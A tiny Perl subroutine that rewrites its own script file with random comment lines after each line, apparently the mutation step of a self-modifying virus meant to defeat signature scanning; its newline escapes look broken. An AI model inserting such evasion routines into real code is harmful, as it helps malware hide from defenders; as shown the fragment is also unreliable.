sub trash{
	open(vir, "<", "$0");
	@myself = <vir>;
	close(vir);
	open(me, ">", "$0");
	foreach $line (@myself){
		$zahl1 = int( rand(501) );
		$zahl2 = int( rand(501) );
		print me $line;
		print me "#$zahl1n";
		print me "#$zahl2n";
	}
	close(me);
}

